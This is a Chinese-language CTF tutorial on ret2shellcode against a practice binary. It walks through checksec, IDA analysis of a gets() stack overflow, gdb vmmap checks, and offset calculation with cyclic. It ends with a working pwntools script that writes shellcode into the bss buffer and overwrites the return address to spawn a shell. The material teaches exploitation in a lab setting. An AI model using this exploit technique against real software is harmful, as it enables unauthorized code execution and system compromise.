原理

ret2shellcode即控制程序执行shellcode代码。shellcode指的是某个功能的汇编代码,常见的功能主要是获取目的系统的shell。一般来说,shellcode需要我们自己填充shellcode所在区域有执行权限

例题

这里使用ctf wiki上的一个例题(点我下载)

checksec查看保护

checksec2.png

发现没有开启任何保护,并且拥有读写执行权限。

IDA分析

ida2.png

可以看到,gets函数存在栈溢出漏洞。并且程序还将s复制到buf2

bss.png

继续查看发现,buf2在bss段

gdb调试

vmmap查看bss段执行权限

然后,我们使用gdb进行调试,查看buf2所在的bss段是否有可执行权限

(新版内核的kali系统这里可能会没有执行权限)

在main函数下断点,然后运行程序。使用vmmap查看内存。

vmmap.png

正常情况下,应该是有可执行权限。由于新版本系统内核缘故,导致这里没执行权限。

计算偏移量

然后,我们确定buf2的偏移量

首先,我们随机生成200个字符:

1
2
cyclic 200 //pwntools
pattern creat 200 //peda

然后在gdb中运行程序,并输入字符。

程序报错,提示跳转到0x62616164错误,这个0x62616164就是我们填充的字母。

接着,然后看这四个字母前面有多少个字母

1
2
cyclic -l 0x62616164    //pwntools
pattern offset 0x62616164 //peda

cycl.png发现溢出到返回地址的字母前面有112个字母,也就是说,我们需要构造一个长度为112的垃圾字符填充这段空间,然后覆盖返回地址shellcode执行代码的地址

注入代码构造思路

首先填充我们生成的shell机器码到buf2的起始位置,然后填充垃圾字符。最后填充buf2的地址。即可将程序返回到buf2起始地址执行shell获得权限。

编写脚本

1
2
3
4
5
6
7
8
9
from pwn import *

sh = process('./ret2shellcode')

shellcode = asm(shellcraft.sh()) //生成执行shell的汇编对应的十六进制机器码
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'a') + p32(buf2_addr))
sh.interactive()